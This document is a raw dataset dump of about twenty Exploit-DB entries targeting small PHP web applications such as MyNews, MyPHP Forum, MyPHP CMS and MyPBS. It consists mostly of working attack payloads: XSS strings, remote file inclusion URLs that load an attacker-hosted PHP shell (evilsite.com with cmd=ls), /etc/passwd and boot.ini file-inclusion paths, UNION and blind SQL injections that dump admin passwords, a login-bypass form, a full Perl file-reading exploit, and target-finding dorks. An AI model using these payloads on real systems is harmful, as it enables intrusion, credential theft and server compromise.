deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31115
Description: MyNews 1.6.x - 'hash' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-06
Author: SkyOut

Exploit:
source: https://www.securityfocus.com/bid/27652/info

MyNews is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MyNews 1.6.4 and prior versions are vulnerable.

http://www.example.com/index.php?hash="><iframe src=http://www.example2.com/ height=500px width=500px></iframe><!--&do=admin http://www.example.com/index.php?hash="><script>alert(1337);</script><!--&do=admin
Exploit-DB #3228
Description: MyNews 4.2.2 - 'themefunc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-30
Author: GoLd_M

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

MyNews 4.2.2 <=  Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by GolD_M(Mahmnood_ali)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://fresh.t-systems-sfr.com/unix/src/privat2/MyNews-4.2.2.tar.gz

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

V.CODE: In : /include/themes/themefunc.php  <<<<=====>>>>      Line : 2
require($myNewsConf['path']['sys']['index'] .  '/include/libs/modules.lib.php');

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:
http://www.hedef.com/[mynews_path]/include/themes/themefunc.php?myNewsConf[path][sys][index]=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2007-01-30]
Exploit-DB #29830
Description: MyNews 4.2.2 - 'Week_Events.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-10
Author: hackberry

Exploit:
source: https://www.securityfocus.com/bid/23398/info

MyNews is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

This issue affects MyNews 4.2.2 and prior versions. 

http://www.example.com/include/blocks/week_events.php?myNewsConf[path][sys][index]=[REMOTEFILE]?
Exploit-DB #12637
Description: MyNews CMS 1.0 - SQL Injection / Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-17
Author: mr_me

Exploit:
MyNews v1.0 CMS - Sql Injection, local file inclusion and XSS Vulnerabilities
Found by: mr_me - http://net-ninja.net/
Advisory: http://www.corelan.be:8800/advisories.php?id=10-040
Dork: "Corelan Security Team"
Homepage: http://mynews.magtrb.com/
Download: http://mynews.magtrb.com/download.php?fname=upload/Versions/MyNews+v1.0.zip
Greetz: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
Notes: 
- Provided 'as is', without any warranty.
- Use for educational purposes only.
- Do not use this to do anything illegal !
- Corelan cannot be held responsible for any damages this may cause.

******************
Sql Injection PoC:
******************

-------[ SNIP ]----------> article.php, line 10
$sql_query = "select id, title, text, views from ".$prefix."_news where id=".$_GET[id]."";
-------[ EOF SNIP ]------>

http://[server]/MyNews/index.php?act=article&id=[ SQLI ]
http://[server]/MyNews/index.php?act=article&id=-12+union+select+1,2,concat(name,0x3a,pwd),4+from+_authors--

********************
File Inclusion PoCs:
********************

-------[ SNIP ]----------> index.php, line 18
if (!isset($_GET['act'])) { $act = 'news'; } else { $act = $_GET['act']; }

include('./includes/header.php');
require('./includes/'.$act.'.php');
-------[ EOF SNIP ]------>

-------[ SNIP ]----------> admin.php, line 65
if(!isset($act)){$act ="index"; }

if($act){include("includes/admin/$act.php");
$smarty->assign("act", $act);
}
-------[ EOF SNIP ]------>

1:
http://[server]/MyNews/index.php?act=[ LFI ]%00&id=12
http://[server]/MyNews/index.php?act=../../../../etc/passwd%00&id=12

2 (requires authentication):
http://[server]/MyNews/admin.php?act=[ LFI ]%00
http://[server]/MyNews/admin.php?act=../../../../etc/passwd%00

*******************
Reflective XSS PoC:
*******************

http://[server]/MyNews/admin.php?act=<script>alert("Found by the Corelan Security Team")</script>
Exploit-DB #29899
Description: MyNewsGroups 0.6 - 'Include.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: Ali & Saeid

Exploit:
source: https://www.securityfocus.com/bid/23646/info

MyNewsGroups is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects MyNewsGroups 0.6; other versions may also be vulnerable. 

http://www.example.com/include.php?myng_root=http://shell
Exploit-DB #2096
Description: MyNewsGroups 0.6b - 'myng_root' Remote Inclusion
Type: webapps
Platform: php
Date: 2006-07-31
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ MyNewsGroups :) v. 0.6b <= Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: MyNewsGroups :) v. 0.6b
+ Venedor ...........: http://mynewsgroups.sourceforge.net
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /lib/tree/layersmenue.inc.php:
+
+ .....
+ <?php
+ // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot
it)
+
+ require_once $myng_root."/pear/PEAR.php";
+ .....
+
+--------------------------------------------------------------------
+
+ $myng_root is not properly sanitized before being used.
+ The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Add this line to your php-file:
+
+ $myng_root ="bla/bla" //Your root path
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/pear/PEAR.php/index.html
+
+
http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.com/P
EAR.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini&Lenni
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-07-31]
Exploit-DB #27979
Description: myNewsletter 1.1.2 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-05
Author: FarhadKey

Exploit:
source: https://www.securityfocus.com/bid/18287/info

myNewsletter is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--&#039;union select 1 from Newsletter_Admin where &#039;&#039;=&#039;">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>
Exploit-DB #11902
Description: MyOWNspace 8.2 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-03-27
Author: ITSecTeam

Exploit:
===========================================================================
( #Topic    : MyOWNspace_v8.2
( #Bug type : multi local file include
( #Download : http://sourceforge.net/project/platformdownload.php?group_id=174729
( #Advisory : 

===========================================================================
( #Author : ItSecTeam
( #Email  : Bug@ITSecTeam.com
( #Website: http://www.itsecteam.com
( #Forum  : http://forum.ITSecTeam.com
( #discovered by : ahmadbady

vuls:===================================================================
path/graph.php

if (isset($_GET['go'])) {$go=$_GET['go']; line 28   

$i=$go;                                   line 30   
.
.
.
$friends="myownfriends/friends.".$i.".php";  line 38
include $friends;                            line 39
.
.
.
.
.
$friends="myownfriends/friends.".$i.".php"; line 74  
include $friends;                           line 75  
---------------------------------------------------------------------------
path/myowngraph.php  eror graph.php line 39;

if (isset($_GET['go'])) {$go=$_GET['go']; line 28

$i=$go;                                    line 29

include $friends; line 39
---------------------------------------------------------------------------
path/showmyownfriends.php

$conf_file="myownfriends/friends.".$_GET['go'].".php"; line 3

include $conf_file;                                    line 17 
---------------------------------------------------------------------------
exploit:===================================================================

path/graph.php?go=../../../../../../../boot.ini%00
path/myowngraph.php?go=../../../../../../../boot.ini%00
path/showmyownfriends.php?go=../../../../../../../boot.ini%00
---------------------------------------------------------------------------
Exploit-DB #10600
Description: mypage 0.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-22
Author: BAYBORA

Exploit:
#############################################################
# mypage0.4 LFI Vulnerability

# Author: BAYBORA

# Site: www.1923turk.biz<http://www.1923turk.biz>

##############################################################

# Exploit:


Vuln file: index.php?page=LFI


Exploit:


POST http://server/index.php?page=../../../../../../../../etc/passwd

index.php

if(isset($_GET['page'])){
...
$inhalt=$inhaltsordner."/".$_GET['page'];}
...
$inhalt=str_replace("///","",$inhalt);
if (FALSE==include$inhalt){echo$notfound;}
Exploit-DB #7522
Description: MyPBS - 'seasonID' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-19
Author: Piker

Exploit:
#!/usr/bin/perl
################################
##    Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
##      D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## MyPBS Remote SQL Injection Exploit
##
##   This exploit tries to read an
##   arbitrary file.
##
################################

# piker@domlabs:~/advisories$ perl mypbs.pl http://localhost/mypbs /etc/passwd
#[+] File HEX: 0x2f6574632f[PII_REDACTED]64
#[+] Host: http://localhost/mypbs/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
# [...]
#[+] EOF
#
#


use LWP::UserAgent;

open(FILE, ">&STDOUT");

my $host = $ARGV[0];
my $file = $ARGV[1];

die &_USO unless $ARGV[1];

sub _USO
{
    die "
    MyPBS Remote SQL Injection Exploit

    This exploit tries to read an
    arbitrary file.
  
    usage: ./$0 <host> <file_you_want>
    ex: ./$0 http://localhost/mypbs/ /etc/passwd

    ";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1");

my $tmp="0x";
my $tmp2;

foreach my $c (split(//, $file)){
    $tmp2 = sprintf ("%x", ord($c));
    $tmp .= $tmp2;
}

print FILE "[+] File HEX: ".$tmp."\n";

if ($host !~ /\/$/){ $host .= "/"; }

print FILE "[+] Host: ".$host."\n";

my $req = HTTP::Request->new(GET => $host."index.php?seasonID=-1 union all select CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e)");
my $res = $ua->request($req);
my $con = $res->content;

my $ok = 0;
open (OUT, ">result.txt");

if ($res->is_success){
    foreach my $linea (split(/\n/, $con)){
        if($ok == 1){
            if ($linea !~ /<FILE>/){
                print FILE $linea."\n";
        print OUT $linea."\n";
            }else{
                print FILE "\n[+] EOF\n";
        print "\n[+] File saved into 'result.txt'\n";
                goto salida;
            }
        }
        if($linea =~ /<FILE>/i && $ok == 0){
            $ok = 1;
            print FILE "[+] File content: \n";
        }
    }
    salida:
    if ($ok == 0){
        print FILE "[-] Exploit Failed!";
    }      
}
else{
    print FILE "[-] Exploit Failed!";
}

close(FILE);
close(OUT);

#EOF

# milw0rm.com [2008-12-19]
Exploit-DB #28658
Description: MyPhotos 0.1.3b - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-23
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20160/info

MyPhotos is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.1.3b beta is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/index.php?includesdir=http://www.example.com
Exploit-DB #1983
Description: MyPHP CMS 0.3 - 'domain' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-05
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
MyPHP CMS <= 0.3 (domain) Remote File Include Vulnerabilities
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : MyPHP CMS
version : latest version [ 0.3 ]
URL : http://sourceforge.net/projects/myphpcms

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $domain not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/styles/default/global_header.php?installed=23&domain=[Evil_Script]

---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $domain
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# Further Notes
if ( !isset ( $installed ) )
{
        header ( "Location: install_sql.php" );
}

added installed to the get request for the vulnerability to work correctly.

/str0ke

# milw0rm.com [2006-07-05]
Exploit-DB #5937
Description: MyPHP CMS 0.3.1 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-25
Author: CWH Underground

Exploit:
===============================================================
  MyPHP CMS (page.php pid) Remote SQL Injection Vulnerability
===============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 25 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : MyPHP CMS
 VERSION     : 0.3.1
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/myphpcms
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

---------------------------------
 Vulnerable File [page.php?pid=]
---------------------------------

@Line 

   13:   $psql = "SELECT  * FROM ".$table_prefix."pages WHERE pid='$pid'";
   14:	 $pprocess = mysql_query ( $psql );
   15:	 $prow = mysql_fetch_array ( $pprocess );

---------
 Exploit
---------

[+] http://[Target]/[myphpcms_path]/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/[prefix_users]/**/WHERE/**/uid='1

	This exploit can dump username and password in clear text

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/myphpcms/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/users/**/WHERE/**/uid='1



##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-25]
Exploit-DB #807
Description: MyPHP Forum 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-02-10
Author: GHC

Exploit:
/*==========================================*/
// GHC -> MyPHP Forum <- ADVISORY
// Product: MyPHP Forum
// Version: 1.0
// URL: http://www.myphp.ws
// VULNERABILITY CLASS: SQL injection
/*==========================================*/

[example of exploit]
member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password, status, email, website, aim, msn, location, sig, regdate, posts, password as yahoo FROM nb_member WHERE uid='1

/* will show administrator's name and password hash (in the "Yahoo" field). */

# milw0rm.com [2005-02-10]
Exploit-DB #4822
Description: MyPHP Forum 3.0 (Final) - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-12-31
Author: x0kster

Exploit:
Name            :  MyPHP Forum <= 3.0 (Final) Multiple Remote SQL Injection Vulnerability
Author          :  x0kster
Email           :  x0kster@gmail.com
Site            :  ihteam.net
Script Download :  http://www.myphp.ws/
Date            :  31/12/2007
Dork            :  "Powered by: MyPHP Forum"

Note: 
For work, magic_quotes_gpc must be turned off on the server.
Usally the table prefix is 'nb'.



Sql injection in faq.php

   <?php
    //faq.php
    [...]
    $id = $_GET['id'];
    if($action == "view" && !empty($id)) {
	$result = mysql_query("SELECT * from $db_faq WHERE id='$id'") or die(mysql_error()); // <-- So miss a control :-D
	$row = mysql_fetch_array($result);
	$row[answer] = postify($row[answer]);
    [...]
   ?>

So we can execute an sql injection thrught the bugged variable $id.

PoC:

http://Site/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*




Sql injection in member.php

   <?php
    //member.php
   [...]
    if($action == "viewpro") {
	$member = $HTTP_GET_VARS['member'];
	$query = mysql_query("SELECT * FROM $db_member WHERE username='$member'") or die(mysql_error());
   [...]
   ?>

So $member variable isn't controlled so we can exploit it.

PoC:

http://Site/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*

# milw0rm.com [2007-12-31]
Exploit-DB #30976
Description: MyPHP Forum 3.0 - 'search.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-01-03
Author: The:Paradox

Exploit:
source: https://www.securityfocus.com/bid/27118/info

MyPHP Forum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyPHP Forum 3.0 is vulnerable; other versions may also be affected. 

submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*"
Exploit-DB #6879
Description: MyPHP Forum 3.0 - Edit Topics / Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-30
Author: StAkeR

Exploit:
/*
    -----------------------------------------------------------------------------------
    MyPHP Forum (Final) <= 3.0 (Edit Topics/Blind SQL Injection) Remote Vulnerabilities
    -----------------------------------------------------------------------------------
    Discovered By StAkeR[at]hotmail[dot]it
    Download On http://www.myphp.ws/
    

   - member.php (confirm - Blind SQL Injection)
   - member.php?action=confirm&id=' or ascii(substring((select password from nb_member where uid=1),1,1))=98/* 
 
   - member.php (newconfirm - Blind SQL Injection)
   - member.php?action=newconfirm&user=' or ascii(substring((select password from nb_member where uid=1),1,1))=98--
    
   - member.php?action=reqpwd  (reqpwd - Blind SQL Injection)
   - insert  ' or ascii(substring((select password from nb_member where uid=1),1,1))=98#
    
   - post.php (post Blind SQL Injection)
   - post.php?action=post&fid=1&tid=1&quote=' or ascii(substring((select password from nb_member where uid=1),1,1))=9%23
    
   - post.php (edit - Edit Topics)
   - post.php?action=edit&fid=1&tid=1&pid=[id topic] ' or '1=1
        
    
    
    
/*    

# milw0rm.com [2008-10-30]
Exploit-DB #11399
Description: myPHP Guestbook 2.0.4 - Database Backup Dump
Type: webapps
Platform: php
Date: 2010-02-11
Author: ViRuSMaN

Exploit:
==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] myPHP Guestbook Database Backup Dump Vulnerability
==============================================================================

    [»] Script:             [ myPHP Guestbook v2.0.2 ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ myPHP Guestbook is a open source project of Networkarea.ch ]
    [»] Download:           [ http://www.pc-service-backes.de/download/sonstige/myPHP_Guestbook_2.0.2.zip ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Sec-Attack.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/backup/backup.sql


Author: ViRuSMaN <-

###########################################################################